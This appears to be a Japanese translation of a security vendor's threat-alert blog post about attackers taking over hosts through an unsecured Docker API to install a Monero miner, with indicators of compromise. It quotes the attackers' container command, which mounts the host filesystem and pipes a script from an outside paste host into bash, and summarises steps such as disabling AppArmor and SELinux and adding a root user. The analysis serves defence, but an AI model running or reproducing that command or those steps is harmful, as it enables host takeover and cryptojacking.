fbpx

脅威:Docker APIを使用したホスト乗っ取りの危険性 #AquaSecurity #Container #Security #DevSecOps

この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。

本ブログは「Aqua Security」社の技術ブログで2019年11月5日に公開された「Threat Alert: Maneuver Docker API for Host Takeover」の日本語翻訳です。

脅威:Docker APIを使用したホスト乗っ取りの危険性


Dockerクライアントは、ローカル(UNIXソケット使用)、ネットワーク(TCPソケット使用)からDocker daemonと通信できます。 Aquaの研究チームは、セキュリティ保護されていないDockerソケットAPI上で実行される興味深い攻撃ベクトルを発見しました。悪意のあるDockerイメージを実行するのではなく、攻撃者は元々のentrypointを変更して、Dockerソケットを介してホストマシンを乗っ取ります。

攻撃の流れ

攻撃者は、「docker run」コマンドにオプション「-v /:mnt」つけて実行することで、ホストのrootファイルシステムをマウントできます。Docker APIのこの基本的な機能は、通常、ファイルの永続化を目的として利用されます。攻撃者はファイルシステムをマウントすることでホスト上のファイルにアクセスでき、cron ジョブスケジューラを変更して悪意のあるペイロードをホスト上で実行できます。

そして、不正な行為を実行するように設計されたスクリプトをダウンロードするために、docker run時に元々のentrypointを変更します。

コンテナ実行時のCMD(ENTRYPOINT)

chroot /mnt /bin/sh -c /sbin/sysctl -w net.ipv4.conf.all.forwarding=1;curl -s
http://gyazo.nl/411d2790f01244c93a864d51125722e8;curl -s -L http://ix.io/1XQa | bash;

注:CMDの最後のcurlコマンドには、ペイロードとなるbashスクリプトが含まれています。

ペイロード

実際のペイロードはホストマシン上で直接実行される大きなbashスクリプトで構成され、ハッカーがマイニングアルゴリズムを実行できるバックドアを設置します。

最初のステップは、可能性のある脅威を特定してすぐに無効にするテストを実行するbashスクリプトです。たとえば、apparmorとselinuxを無効にすることができます(これらは特定のパスへのアクセス許可を制限したり、ホスト上のアプリケーション実行をブロックするなど、プログラムの機能を制限するために使用されます)。

興味深いのは、セキュリティアプリケーションを無効にした後、Alibaba CloudおよびQcloudにプレフィックスが付いているクラウドモニタリングシステムをアンインストールしようとしました。次に「useradd」コマンドがホストに新しいroot権限のユーザを作成します。これらの処理は、ホスト上で実行されるため、作成されたユーザは特権モードで実行を継続できます。

さらに、永続性を得るために、認証キーを追加することで、リモートマシンからホストへのSSHログインを介したアクセスを提供されます。

悪意のあるバイナリ

マイニング用途の実行可能ファイルと構成ファイルがダウンロードされ、実行可能ファイルは構成ファイルから関連パラメーターを解析しマイニングを開始します。

試しにバイナリを実行してみると、次のような説明が表示されます。

IDA(逆アセンブラのひとつ)にロードすると、複数のXMR(仮想通貨のひとつ)マイニング機能を含む静的にリンクされたバイナリが表示されます。

ファイルをVirusTotal(マルウェア検査サイト)にアップロードすると、これはクリプトマイニング実行可能ファイルであることがわかります。

まとめ


Docker APIをオープン状態で実行することは必ずしも危険とは言えかないかも知れませんが、ホストを危険にさらし、クリプトマイニングに利用されたり、ホストを完全に乗っ取られる可能性があります。この見落としにより、実際に損害を引き起こす可能性があります。これにより本番環境の内部ネットワーク全体が脆弱になり、機密製の高いデータベース・コード・実稼働システムが危険にさらされる可能性があることを意識すべきです。

New call-to-action

痕跡情報(IoC=Indicator of Compromiseの略):

マイニングファイル :
Sha256sum: e70e8dbf4fa242cfcafc66bc52eeef06cb1b8eb2218e75dd5902b6e5f8a99be6

Monero アドレス :
4Aotje6mGNPRcDQeqS7iUwRLGJhLLgJvfbS6Dju5peSACbVXTFhnds53xuoqif3JEcfbdjiW27xuAJiiKeiCGbuoACrutNE

New call-to-action
新規CTA